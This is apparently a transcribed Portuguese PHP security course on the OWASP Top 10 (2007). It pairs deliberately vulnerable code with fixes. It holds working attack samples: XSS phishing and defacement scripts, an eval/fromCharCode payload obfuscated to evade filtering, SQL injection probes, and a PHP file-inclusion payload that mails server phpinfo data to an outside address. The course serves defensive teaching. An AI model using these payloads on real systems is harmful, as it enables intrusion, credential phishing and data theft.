Top 10 OWASP com PHP

Transcrição

1 Top 10 OWASP com PHP v. 1.0 rev :44:18 Top 10 OWASP com PHP Compreendendo e tratando as 10 vulnerabilidades mais críticas em aplicações web segundo o OWASP. Por Er Galvão Abbott 2009 by Er Galvão Abbott Página 1 / 52

2 Top 10 OWASP com PHP v. 1.0 rev :44:18 Índice Objetivo...4 Aviso...4 Termos de Uso...5 Introdução...6 O que é o OWASP e por que é importante...6 Vulnerabilidades!= Ataques...7 Top 10 OWASP Listando as vulnerabilidades...7 Trabalhando com o conceito de Dado Contaminado...8 Top 10 OWASP Detalhamento...9 XSS Cross Site Scripting...9 Reflected...9 Stored...9 DOM Injection...9 Consequências Possíveis...9 Exemplo de código vulnerável...10 Exemplos de exploração...10 Soluções insuficientes...11 Recomendações...12 Recomendações específicas para PHP...12 Recomendações PHP na prática...13 Falhas de Injeção...14 Consequências Possíveis...14 Exemplo de código vulnerável...15 Exemplos de exploração...15 Soluções insuficientes...16 Recomendações...17 Recomendações específicas para PHP...17 Recomendações PHP na prática...18 Execução Maliciosa de Arquivo...22 Consequências possíveis...22 Exemplo de código vulnerável...23 Exemplos de exploração...23 Soluções insuficientes...24 Recomendações...25 Recomendações específicas para PHP...25 Recomendações PHP na prática...26 Referência Insegura Direta à Objetos...27 Exemplo de código vulnerável...28 Soluções Insuficientes...29 Recomendações...29 Recomendações PHP na prática by Er Galvão Abbott Página 2 / 52

3 CSRF Cross Site Request Forgery...31 Consequências possíveis...31 Exemplo de código vulnerável...32 Soluções insuficientes...32 Recomendações...32 Recomendações PHP na prática...33 Vazamento de Informações e Tratamento de Erros Inapropriado...34 Consequências possíveis...34 Exemplo de código vulnerável...35 Exemplos de exploração...35 Soluções insuficientes...35 Recomendações...36 Recomendações específicas para PHP...36 Recomendações PHP na prática...37 Autenticação Falha e Gerenciamento de Sessão...38 Consequências possíveis...38 Exemplo de código vulnerável...38 Soluções insuficientes...39 Recomendações...39 Recomendações PHP na prática...40 Armazenamento Criptográfico Inseguro...41 Consequências possíveis...41 Soluções insuficientes...42 Recomendações...42 Recomendações específicas para PHP...43 Recomendações PHP na prática...43 Comunicações Inseguras...44 Consequências possíveis...44 Recomendações...44 Falha de Restrição de Acesso à URL...45 Consequências possíveis...45 Exemplo de código vulnerável...45 Soluções insuficientes...46 Recomendações...46 Recomendações específicas para PHP...47 Recomendações na prática...47 Conclusão...48 Glossário...49 Referências by Er Galvão Abbott Página 3 / 52

4 Objetivo Este curso tem por objetivo apresentar as 10 vulnerabilidades mais críticas em aplicações web segundo o OWASP (Open Web Application Security Project), realizando uma explanação sobre a anatomia de cada uma destas e que técnicas podem ser utilizadas para prevenir a sua exploração por usuários mal-intencionados. Serão apresentados, para propósitos puramente acadêmicos, exemplos práticos de cada uma destas vulnerabilidades, de forma que cada aluno(a) compreenda causas e consequências e tenha condições de desenvolver soluções próprias de defesa. Aviso São apresentados, neste material, exemplos práticos de exploração de vulnerabilidades em aplicações web e propostas de soluções para a eliminação destas. Estes exemplos são de propósito exclusivamente didático, não sendo responsabilidade do autor o mau uso do código-fonte aqui apresentado, a garantia de soluções definitivas para os problemas apresentados e/ou qualquer outra consequência da execução/implementação do conteúdo deste material by Er Galvão Abbott Página 4 / 52

5 Termos de Uso Este trabalho é licenciado por Er Galvão Abbott sob uma licença Creative Commons Attribution Share-alike. Você é livre para: Compartilhar: Copiar, distribuir e divulgar este material Adaptar: Para modificar e adaptar este material Sob as seguintes condições: Atribuição: Deve constar, explicitamente, o título e o nome completo do autor deste trabalho. Compartilhamento similar: Se você modificar ou utilizar este material como referência para um trabalho seu, este deve ser licenciado sob uma licença similar ou compatível com esta. Para qualquer reutilização ou distribuição deste material você deve deixar claro os termos de licença deste. Qualquer uma das condições acima pode ser dispensada se você obtiver a permissão explícita do autor. Nada nesta licença prejudica ou restringe os direitos morais do autor by Er Galvão Abbott Página 5 / 52

6 Introdução O que é o OWASP e por que é importante O OWASP (Open Web Application Security Project, ou Projeto Aberto para Segurança de Aplicações Web) é uma comunidade aberta no formato Wiki, suportada por uma fundação sem fins lucrativos. Tem como principal objetivo disseminar conhecimento na área de segurança da informação, tendo como foco principal o desenvolvimento de aplicações web. Sendo uma iniciativa que não visa lucro e não é ligada à nenhuma empresa, o OWASP provê informação livre de pressões comerciais e é orientado pelo consenso geral dos profissionais envolvidos e pela execução prática de código-fonte. O projeto provê extensa documentação sobre segurança da informação com uma categorização extensa e de prática pesquisa, incluindo a categorização por linguagem. Além disso, organiza eventos e procura prover soluções de código-fonte para as mais diversas vulnerabilidades que põem em risco as aplicações web nos dias de hoje. Embora seja baseado nos Estados Unidos, o OWASP é uma iniciativa internacional tendo capítulos locais em diversos países do mundo, incluindo o Brasil. Isso significa que a informação disponibilizada pelo projeto pode ser encontrada, através de traduções do material original, nos mais diversos idiomas. A importância do OWASP resume-se à sua própria existência: ao se criar este tipo de iniciativa, que conta com o necessário apoio da massa de profissionais de TI, cria-se um grande repositório que promove não apenas o conhecimento, mas a conscientização para os riscos presentes para as aplicações web e a necessidade de se tomar atitudes à respeito. Além disso o mercado de desenvolvimento tem um crescimento e uma profissionalização naturais decorrentes desta conscientização. É um ciclo benéfico: quanto mais se divulga a importância do projeto mais se promove o amadurecimento das aplicações web, tanto já disponíveis como novas e o mercado ganha a confiança de que tanto precisa by Er Galvão Abbott Página 6 / 52

7 Vulnerabilidades!= Ataques A distinção é importante: o TOP 10 do OWASP mudou recentemente o foco, concentrando-se apenas em vulnerabilidades. Ataques podem ser efetuados explorando uma vulnerabilidade específica ou não. Um bom exemplo disto é o que chamamos de Phishing: Um ataque de phishing pode ser feito em conjunto com a exploração de uma vulnerabilidade XSS de um site, mas também pode ser feito simplesmente aproveitandose da ingenuidade de um usuário, ocultando uma URL maliciosa, mas não relacionada ao site original, em um . Vulnerabilidades, por sua vez, estão presentes ou não, em maior ou menor grau de facilidade de exploração, em um software. Top 10 OWASP Listando as vulnerabilidades O Top 10 é um dos muitos projetos do OWASP. Procura listar e rankear as dez vulnerabilidades mais críticas em aplicações web, tomando como base a listagem feita pela MITRE, uma corporação que trabalha junto à órgãos federais do governo Norte- Americano. A listagem é atualizada com uma certa periodicidade, sendo que a última atualização (de 2007) será a que utilizaremos neste curso. Esta é o ranking oficial das 10 vulnerabilidades mais críticas em aplicações web, segundo o OWASP. Os itens marcados com um asterisco foram incluídos na atualização de 2007: 1. XSS Cross Site Scripting 2. Falhas de Injeção 3. Execução Maliciosa de Arquivos* 4. Referência Insegura Direta à Objetos 5. CSRF Cross Site Request Forgeries* 6. Vazamento de Informações e Tratamento de Erros Inapropriado 7. Autenticação Falha e Gerenciamento de Sessão 8. Armazenamento Criptográfico Inseguro 9. Comunicações Inseguras 10. Falha de Restrição de Acesso à URL 2009 by Er Galvão Abbott Página 7 / 52

8 Trabalhando com o conceito de Dado Contaminado Este é um conceito de extrema importância ao se trabalhar com segurança de aplicações, e é por isso que daremos uma olhada nele antes de prosseguirmos. O conceito é tão antigo, válido e simples que se aplica à qualquer tipo de aplicação (desktop, cliente-servidor, web, etc...): Dados Contaminados. Trabalhar com este conceito é, na realidade, uma boa prática, um dos (tantos) hábitos que são saudáveis ao se desenvolver aplicações. O conceito é basicamente este: Todo o dado recebido por uma aplicação, quando enviado de uma fonte externa (seja essa fonte um usuário ou até mesmo outra aplicação) deve ser tratado como contaminado (ou tainted em inglês) e considerado inutilizável até que sofra um processo de tratamento e validação. Vejamos um exemplo: um formulário codificado em UTF-8 envia diversas informações para nosso script PHP. Vejamos como aplicar o conceito em um campo específico: uma data. Para efeitos de exemplo consideraremos como válida uma data no formato dd/mm/aaaa. <?php function dataok($pdata) { if (preg_match('/^\d{2}\/\d{2}\/\d{4}$/', $pdata)) { return true; } else { return false; } } if (dataok(utf8_decode($_post['data_cadastro']))) { $data_cadastro_ok = utf8_decode($_post['data_cadastro']); } /* */ Restante do código, aplicando o mesmo conceito de validação em outros campos. $sql = INSERT INTO cadastro (nome, , data_cadastro) VALUES ('$nome_ok', '$ _ok', '$data_cadastro_ok') ; /* Restante do código */?> 2009 by Er Galvão Abbott Página 8 / 52

9 Top 10 OWASP Detalhamento XSS Cross Site Scripting O que é: É a vulnerabilidade mais comum e perniciosa em aplicações web. Ocorre quando uma aplicação recebe dados de um usuário e os retorna para o browser sem validar ou codificar estes dados. Tipos conhecidos: Refletido, Armazenado e Injeção de DOM. Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Reflected O tipo mais simples de ilustrar, quando se trata de vulnerabilidades XSS é o refletido: trata-se simplesmente de receber o input de um usuário e retornar diretamente para o browser. Sua ocorrência é cada vez mais comum devido à popularização do AJAX e dos mashups, tecnologias cujo foco é o retorno rápido de informação. Na realidade pode-se argumentar que todo o XSS é refletido de alguma forma, tornando este tipo uma espécie de base para o entendimento desta vulnerabilidade. Stored O tipo armazenado ocorre quando uma exploração da vulnerabilidade XSS é armazenada em algum meio para que seja recuperada posteriormente, como bases de dados ou arquivos HTML criados dinamicamente, por exemplo. Isto aumenta consideravelmente o prejuízo causado por um ataque pelo simples fato de que o ataque se repetirá automaticamente cada vez que a informação armazenada for recuperada e exibida. DOM Injection O tipo injeção de DOM é perigoso na medida que trabalha manipulando e/ou criando código client-side (normalmente Javascript) na página. Desta forma uma variedade ampla de consequências se torna possível. Consequências Possíveis Defacement Injeção de conteúdo inapropriado Phishing 2009 by Er Galvão Abbott Página 9 / 52

10 Exemplo de código vulnerável <?php echo $_POST['comentario'];?> Exemplos de exploração Exemplo #1 Inserção de conteúdo <img src= /> Exemplo #2 Phishing <script type= text/javascript >window.onload=function() {document.body.innerhtml= Sua sessão expirou por inatividade. Por favor faça login novamente:<br /><form action=' type='text' name='login' size='10' /><br /><input type='password' name='senha' size='10' /><inhput type='submit' value='entrar' /></form> ;}</ script> Exemplo #3 Mais Phishing <script type= text/javascript >window.onload=function() {document.body.innerhtml= <iframe src=' style='border: 0px; width: 100%; height: 100%; margin: 0px; padding: 0px;'></iframe> ;}</script> Exemplo #4 Defacement <script type= text/javascript >window.onload=function() {for (x = 0; x < document.images.length; x++) { document.images[x].src= ; }}</script> 2009 by Er Galvão Abbott Página 10 / 52

11 Soluções insuficientes Em uma instalação default do interpretador PHP nenhum dos exemplos acima funcionará, devido à uma configuração da linguagem chamada magic_quotes_gpc, que faz o escape automático de aspas, tanto simples quanto duplas. Esta configuração é uma solução insuficiente, porque se baseia no conceito de black list. Sabendo-se que o tratamento é feito em cima de caracteres específicos, tudo o que temos que fazer é nos adaptarmos. Como nossa intenção ao explorar essa vulnerabilidade é afetar o lado cliente, precisamos encontrar uma solução cliente que nos permita realizar o ataque. Vejamos uma variação do Exemplo #3 que passa tranquilamente pela magic_quotes_gpc: <script>window.onload=function() { eval(string.fromcharcode(100) + String.fromCharCode(111) + String.fromCharCode(99) + String.fromCharCode(117) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(110) + String.fromCharCode(116) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(111) + String.fromCharCode(100) + String.fromCharCode(121) + String.fromCharCode(46) + String.fromCharCode(105) + String.fromCharCode(110) + String.fromCharCode(110) + String.fromCharCode(101) + String.fromCharCode(114) + String.fromCharCode(72) + String.fromCharCode(84) + String.fromCharCode(77) + String.fromCharCode(76) + String.fromCharCode(32) + String.fromCharCode(61) + String.fromCharCode(32) + String.fromCharCode(34) + String.fromCharCode(60) + String.fromCharCode(105) + String.fromCharCode(102) + String.fromCharCode(114) + String.fromCharCode(97) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(32) + String.fromCharCode(115) + String.fromCharCode(114) + String.fromCharCode(99) + String.fromCharCode(61) + String.fromCharCode(39) + String.fromCharCode(104) + String.fromCharCode(116) + String.fromCharCode(116) + String.fromCharCode(112) + String.fromCharCode(58) + String.fromCharCode(47) + String.fromCharCode(47) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(46) + String.fromCharCode(103) + String.fromCharCode(97) + String.fromCharCode(108) + String.fromCharCode(118) + String.fromCharCode(97) + String.fromCharCode(111) + String.fromCharCode(46) + String.fromCharCode(101) + String.fromCharCode(116) + String.fromCharCode(105) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(114) + String.fromCharCode(47) + String.fromCharCode(39) + String.fromCharCode(32) + String.fromCharCode(47) + String.fromCharCode(62) + String.fromCharCode(34) + String.fromCharCode(59)); } </script> Através de uma combinação de uma função eval e um método de geração de caracteres (fromcharcode) e o mais importante, sem usar uma única aspa, o ataque se torna bem-sucedido by Er Galvão Abbott Página 11 / 52

12 Recomendações As soluções recomendadas pelo OWASP e pelos profissionais de segurança é, similar ao magic_quotes_gpc, a filtragem dos dados, porém com uma diferença crucial: a validação é feita através de white list, ou seja, apenas considerando-se caracteres válidos. Estas são as recomendações: Validação de entrada de dados (input): Valide todos os dados que entrarem para sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio. Não esqueça que mensagens de erro também podem conter caracteres inválidos. Codificando a saída de dados (output): Trate as entidades HTML apropriadamente e aplique isso à todos os dados que são alimentados pelo(s) usuário(s). Acostumese à definir o encoding de suas páginas, de forma à evitar que diferentes encodings sejam utilizados para forçar sua aplicação à aceitar caracteres inválidos. Valide sempre por white lists: Como vimos no exemplo anterior o tratamento de caracteres inválidos - como ocorre com a magic_quotes_gpc é completamente ineficiente, sendo relativamente simples de se construir maneiras de atravessar este tipo de proteção. Cuidado com erros de canonicalização: Entradas de dados devem ser decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez. Recomendações específicas para PHP Garanta a passagem dos dados pela função htmlentities ou use a Biblioteca Anti- XSS do OWASP. Desabilite a configuração register_globals, caso esteja ativada by Er Galvão Abbott Página 12 / 52

13 Recomendações PHP na prática <?php echo htmlentities($_post['comentario'], ENT_QUOTES, 'UTF-8', true);?> Observe que utilizamos a função htmlentities no lugar da função htmlspecialchars propositalmente. Isto é feito porque a primeira converte todos os caracteres possíveis para suas entidades HTML, enquanto que a segunda converte apenas alguns caracteres, tornando-se nada mais nada menos do que uma solução do tipo black list. Em alguns casos é desejável permitir tags HTML. Quando algum destes casos ocorrer ao invés de procurarmos por tags indesejáveis (solução black list) devemos verificar apenas pelas tags que consideraremos válidas (solução white list): <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" " DTD/xhtml1-transitional.dtd"> <html xmlns=" <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>insert title here</title> </head> <body> <img src=" /> <?php $tags_validas = array('font', 'b', 'i', 'u'); foreach ($tags_validas as &$tv) { $tv = '<'. $tv. '>'; } $comentario = htmlentities($_post['comentario'], ENT_QUOTES, 'UTF-8', true); if (preg_match('/\&lt\;[a-z]+\&gt\;/mi', $comentario, $results)) { foreach ($results as $r) { if (!in_array($r, $tags_validas)) { die('tag inválida encontrada: '. $r); } } } echo html_entity_decode($comentario, ENT_QUOTES, 'UTF-8');?> </body> </html> 2009 by Er Galvão Abbott Página 13 / 52

14 Falhas de Injeção O que são: Falhas de injeção, particularmente SQL Injection, são extremamente comuns em aplicações web. Elas ocorrem quando um dado enviado pelo usuário engana o interpretador da linguagem, fazendo com que este execute comandos indesejáveis. Tipos conhecidos: SQL, LDAP, XPath, XSLT, HTML, XML, Comandos de SOs, etc... Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Todas as falhas de injeção, independente de tipo, acontecem basicamente por uma falta de validação e tratamento de dados de entrada (input) por parte do desenvolvedor. O tipo de vulnerabilidade, neste caso, irá variar diretamente de acordo com o tipo de ações que o sistema executa, ao contrário das vulnerabilidades XSS. Por exemplo, uma aplicação que não faz consulta à nenhum RDBMS, não será vulnerável à Falhas de Injeção de SQL. Trataremos, neste material, da falha de injeção mais comum: SQL Injection. Consequências Possíveis Corrupção de dados Exposição de dados Inserção de registros maliciosos DoS (Denial of Service) Exposição de credenciais de acesso 2009 by Er Galvão Abbott Página 14 / 52

15 Exemplo de código vulnerável <?php require('config/config.php'); $conn = mysql_connect(servidor, USUARIO, SENHA); mysql_select_db(db); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = '. $_GET['cat']. ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto']. ' '. $registro['produto']. '<br />'; echo $registro['categoria']. '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close();?> Neste exemplo, de listagem de produtos à partir de uma consulta à base de dados, este script seria tipicamente acessado por uma URL, como no exemplo abaixo: Todavia, ao se permitir a entrada de informações que influenciarão a consulta sem o devido cuidado de tratá-las antes de enviá-las ao RDBMS, permitimos a injeção de caracteres que são sintaticamente interpretados pelo RDBMS: Exemplos de exploração Exemplo #1 Listando todos os produtos or 1=1 Exemplo #2 Listando todos os produtos (mesmo!) or 1= by Er Galvão Abbott Página 15 / 52

16 Exemplo #3 Provocando erros na execução da consulta or erro!;#$ Exemplo #4 Investigando nomes de tabelas and (select count(*) from usuarios) > 0 Exemplo #5 Investigando colunas e dados em tabelas diferentes and (select count(*) from usuarios where id_usuario = 10) > 0 Soluções insuficientes Um dos erros clássicos no tratamento de vulnerabilidades de injeção de SQL é a precupação exclusiva com alguns caracteres (como a aspa simples, por exemplo). Esta abordagem é equivalente, e consequentemente de fácil contorno, à qualquer solução black list. Observe que em nenhum dos exemplos acima utilizamos a aspa simples, mas mesmo assim fomos capazes de executar explorações das mais perigosas. É por razões como essa que a solução abaixo é ineficiente: <?php /* Este código é idêntico ao exemplo anterior com exceção da linha: */ $resultado = mysql_query(addslashes($sql));?> A função addslashes, de forma similar à configuração magic_quotes_gpc, trabalha com o conceito de black list e pior ainda, de forma limitada, como ocorre com a função htmlspecialchars. Outro equívoco comum é procurar tratar este tipo de vulnerabilidade refinando-se a consulta (o caso específico do LIMIT). Pela simples adição de dois hífens (que significam comentário para a maioria dos RDBMSs) forçamos a aplicação à simplesmente ignorar o limite pré-definido ou qualquer outro refinamento, como é demonstrado no Exemplo # by Er Galvão Abbott Página 16 / 52

17 Recomendações Por se tratar de um caso de certa forma similar às vulnerabilidades de XSS onde um dos pontos mais relevantes é a filtragem de dados as recomendações para diminuir os riscos de vulnerabilidades de injeção possuem alguns pontos em comum: Validação de entrada de dados (input): Valide todos os dados que entrarem para sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio. Não esqueça que mensagens de erro também podem conter caracteres inválidos. Queries tipadas e parametrizadas: Utilize APIs que permitam o uso de queries parametrizadas e com tipagem forte, com marcadores de substituição. Menos privilégios de acesso: Crie um usuário com permissões específicas para aplicações que utilizem um RDBMS ou alguma outra forma de backend. Evite utilizar um usuário com privilégios administrativos para uso na aplicação. Menos informação: Evite mensagens de erro detalhadas, que forneçam muitos detalhes à um atacante. Use stored procedures: Por possuírem uma forte tipagem tanto para parâmetros como para retorno de valores além de serem mais versáteis em termos de código, as stored procedures são geralmente consideradas menos vulneráveis à ataques de injeção. Não execute queries dinâmicas diretamente: funções que executam queries diretamente, como mysql_query ou pg_query, são normalmente mais vulneráveis. Não use funções simples de escape: Funções como addslashes ou str_replace provêem uma solução insuficiente para este tipo de vulnerabilidade. Cuidado com erros de canonicalização: Entradas de dados devem ser decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez. Recomendações específicas para PHP Utilize a função addcslashes no lugar da addslashes: embora seja uma solução do tipo black list, a função addcslashes permite ao programador identificar quais caracteres devem ser escapados, dando maior liberdade ao programador. Utilize APIs que possibilitem o uso de queries parametrizadas: PDO, ADODB, etc... No ambiente de produção, ajuste as configurações display_errors para Off, log_errors para On e defina o caminho do arquivo de log na configuração error_log. Caso não seja possível consulte seu provedor by Er Galvão Abbott Página 17 / 52

18 Recomendações PHP na prática <?php require('config/config.php'); $conn = mysql_connect(servidor, USUARIO, SENHA); mysql_select_db(db); // Tratando alguns caracteres sintáticos em SQL: $entradafiltrada = addcslashes($_get['cat'], '\'-* /'); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = '. $entradafiltrada. ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto']. ' '. $registro['produto']. '<br />'; echo $registro['categoria']. '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close();?> A solução acima, embora baseada em black list, é muito superior ao uso da função addslashes: Desta vez estamos tratando diversos caracteres, como o hífen, impedindo diversas das explorações que demonstramos anteriormente. Uma das dificuldades ao se reforçar uma aplicação contra vulnerabilidades de injeção é que nem sempre é simples implementarmos uma abordagem de white list. Em nosso exemplo específico, entretanto, isso é relativamente simples, já que um id de categoria necessita ser, explicitamente, numérico. Veja o exemplo na próxima página by Er Galvão Abbott Página 18 / 52

19 <?php require('config/config.php'); if (preg_match('/[^0-9]+/', $_GET['id'])) { die('dado inválido!'); } else { $conn = mysql_connect(servidor, USUARIO, SENHA); mysql_select_db(db); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = '. $_GET['id']. ' LIMIT 10'; $resultado = mysql_query($sql); while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto']. ' '. $registro['produto']. '<br />'; echo $registro['categoria']. '<br />'; echo $registro['descricao']; echo '<br /><br />'; } mysql_close(); }?> 2009 by Er Galvão Abbott Página 19 / 52

20 <?php // Utilizando ADODB e queries parametrizadas. // Além disso implementamos a tipagem de dados na ADODB require_once '../libs/adodb5/adodb.inc.php'; $conn = &ADONewConnection('mysql'); $conn->debug = true; $conn->connect(servidor, USUARIO, SENHA, DB); $sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = '. $conn- >Param('id'). ' LIMIT 1'; $resultado = $conn->execute($sql, array('id' => (int)$_get['id'])); while (!$resultado->eof) { echo $resultado->fields('foto'). ' '. $resultado->fields('produto'). '<br />'; echo $resultado->fields('categoria'). '<br />'; echo $resultado->fields('descricao'); echo '<br /><br />'; } $resultado->movenext(); $conn->close();?> 2009 by Er Galvão Abbott Página 20 / 52

21 <?php // Utilizando PDO $dsn = 'mysql:dbname=foo;host= '; $user = 'usuario'; $password = 'senha'; try { $conn = new PDO($dsn, $user, $password); } catch (PDOException $e) { die('falha na conexão.'); } $sql = $conn->prepare('select p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria =? LIMIT 1'); $sql->bindparam(1, $_GET['id'], PDO::PARAM_INT); $sql->execute(); while ($resultado = $sql->fetch(pdo::fetch_assoc)) { echo $resultado['foto']. ' '. $resultado['produto']. '<br />'; echo $resultado['categoria']. '<br />'; echo $resultado['descricao']; echo '<br /><br />'; }?> 2009 by Er Galvão Abbott Página 21 / 52

22 Execução Maliciosa de Arquivo O que é: É uma vulnerabilidade comum que ocorre principalmente quando o desenvolvedor confia em uma entrada de dados para concatená-la para utilização em funções de arquivo ou de stream. Ocorre também na utilização de arquivos enviados por uma fonte externa, sem que haja a validação apropriada. Tipos conhecidos: - Ambientes afetados: Qualquer ambiente web que aceite que o usuário entre dados para utilização em nomes de arquivo ou que aceite upload de arquivos. A linguagem PHP é particularmente vulnerável devido à possibilidade de utilizar arquivos remotos e ao suporte à SMB (compartilhamento de arquivos, impressoras e portas seriais via rede). Detalhamento, Exemplos e Soluções: Este tipo de vulnerabilidade ocorre, basicamente, pela falta de uma validação e tratamento apropriado da informação em dois casos: 1. Quando dados enviados pelo usuário são utilizados diretamente por funções de tratamento de arquivo ou streams. 2. Quando existe a possibilidade de upload de arquivo por parte do usuário. Consequências possíveis Execução de código remoto Instalação de rootkits Acesso inapropriado à arquivos Comprometimento total do sistema 2009 by Er Galvão Abbott Página 22 / 52

23 Exemplo de código vulnerável <?php $arq = fopen($_get['arq'], 'r'); while ($linha = fgets($arq)) { echo $linha. "<br />"; } fclose($arq);?> Exemplos de exploração Exemplo #1 Acesso inapropriado à arquivos Exemplo #2 Execução remota de arquivo by Er Galvão Abbott Página 23 / 52

24 Exemplo #3 - Instalando arquivos maliciosos (caso específico de inclusão de arquivo) <?php $evilcode = <<< EVL <?php \$headers = 'MIME-Version: 1.0'. "\r\n"; \$headers.= 'Content-type: text/html; charset=iso '. "\r\n"; ob_start(); phpinfo(-1); \$resultado = ob_get_contents(); ob_end_clean(); mail('galvao@galvao.eti.br', 'Yatta!', \$resultado, \$headers);?> EVL; if ($fw = fopen('./f6543.php', 'w')) { fwrite($fw, $evilcode); fclose($fw); } else { mail('galvao@galvao.eti.br', 'Damn!', print_r(error_get_last(), true)); }?> A exploração é feita, então, através da inclusão remota da URL: Soluções insuficientes Uma aplicação, idealmente, não deveria trabalhar com dados fornecidos pelo usuário para manipulação de arquivos. Além disso, e nunca é demais estressar este ponto, soluções de black list, como a filtragem de caracteres específicos não é suficiente. Além disso raramente podemos alterar as configurações allow_url_fopen que inclusive vem ativada por default e allow_url_include, responsáveis por permitir a abertura e inclusão de arquivos remotos, respectivamente by Er Galvão Abbott Página 24 / 52

25 Recomendações Prevenir vulnerabilidades de Execução Maliciosa de Arquivos requer um cuidadoso planejamento da aplicação. Algumas considerações importantes: Use referências indiretas à objetos (mais sobre isso na próxima vulnerabilidade). Realize uma forte validação dos dados antes de utilizá-los, sempre lembrando que uma validação por white list é recomendável em detrimento de validações baseadas em black list. Certifique-se de que dados fornecidos pelo usuário que serão usados em funções que envolvem arquivos e/ou streams não interfiram com outras partes da aplicação, como sessões, relatórios, imagens, etc... Se possível utilize uma solução de chroot jail ou outro mecanismo de sand box para isolar as aplicações entre si. Recomendações específicas para PHP Desative (se possível) as configurações allow_url_fopen e allow_url_include. Desative (se possível) a configuração register_globals e utilize o nível de erro E_STRICT de forma à capturar variáveis não-inicializadas. Certifique-se que todas as funções relacionadas à arquivos/streams não aceitem entrada de dados externa. Tenha extremo cuidado com dados passados para funções de execução de comandos no SO, como system, exec, etc by Er Galvão Abbott Página 25 / 52

26 Recomendações PHP na prática Uma solução para este tipo de vulnerabilidade é implementarmos a abordagem de white list. Tomemos como exemplo um script que recebe um dado para informar que arquivo deve ser aberto, porém todo e qualquer arquivo, deve estar em um diretório específico ou no máximo em subdiretórios à partir deste: <?php $path = './logs'; if (preg_match('/^[a-z]+\.{1}log$/', utf8_decode($_get['arq']))) { echo file_get_contents($path. '/'. utf8_decode($_get['arq'])); } else { die('dados inválidos'); }?> Observe o nível de restrição da regra de validação: só serão considerados válidos dados que iniciarem por uma letra, contiverem apenas letras, seguidas por um e apenas um ponto e a extensão 'log'. Esta é a grande vantagem da abordagem do tipo white list: à partir do momento em que as regras de negócio e a lógica da aplicação estão bem definidas temos a possibilidade de criar uma regra o mais restrita possível, que bloqueará entradas inválidas e ao mesmo tempo funcionará transparentemente para acessos legítimos by Er Galvão Abbott Página 26 / 52

27 Referência Insegura Direta à Objetos O que é: Uma referência direta à objeto ocorre quando um desenvolvedor expôe uma referência para um objeto implementado internamente na aplicação como um arquivo, diretório ou registro da base de dados, por exemplo como um parâmetro passado via URL ou formulário. Um atacante pode manipular referências diretas à objetos para acessar outros objetos sem autorização, à não ser que uma checagem de controle de acesso seja implementada. Tipos Conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Muitos atacantes experimentam com parâmetros e elementos de formulário de forma à comprometer uma aplicação. A maioria dos casos de aplicações vulneráveis faz referência à arquivos ou registros de bases de dados. Vejamos um exemplo: <?php /* Código para acessar a base */ $sql = 'SELECT , site, foto FROM usuarios WHERE usuario_id = '. $conn->param('id'). ' LIMIT 1'; $prep = $conn->prepare($sql); $resultado = $conn->execute($sql, array('id' => (int)$_get['uid'])); while (!$resultado->eof) { /* Código para gerar campos de formulário */ }?> Como não há nenhuma checagem de segurança ou controle de acesso, um atacante pode editar o perfil de qualquer usuário simplesmente alterando o parâmetro 'uid' presente na query string, já que este faz referência direta à um objeto (neste caso um registro presente na base de dados) by Er Galvão Abbott Página 27 / 52

28 Exemplo de código vulnerável Além do exemplo acima, podemos citar também o caso clássico de interação entre formulário e script. Considerando-se que possuímos arquivos próprios para cada idioma (como por exemplo 'pt.php' e 'en.php'): /* Código HTML padrão de formulário */ <select name= idioma > <option value= en >inglês</option> <option value= pt >português</option> </select> <?php require $_REQUEST['idioma']; /* código restante */?> Este script pode ser facilmente enganado através da manipulação do valor do elemento: Qualquer semelhança, neste caso, não é mera coincidência: este exemplo expõe duas vulnerabilidades: Execução Maliciosa de Arquivo e Referência Insegura Direta à Objetos. Obs.: Utilizamos o array superglobal $_REQUEST propositalmente neste exemplo para simplificarmos a exemplificação da exploração desta vulnerabilidade. Não esqueça: requisições pelo método POST são tecnicamente mais complexas de serem forjadas, mas igualmente possíveis by Er Galvão Abbott Página 28 / 52

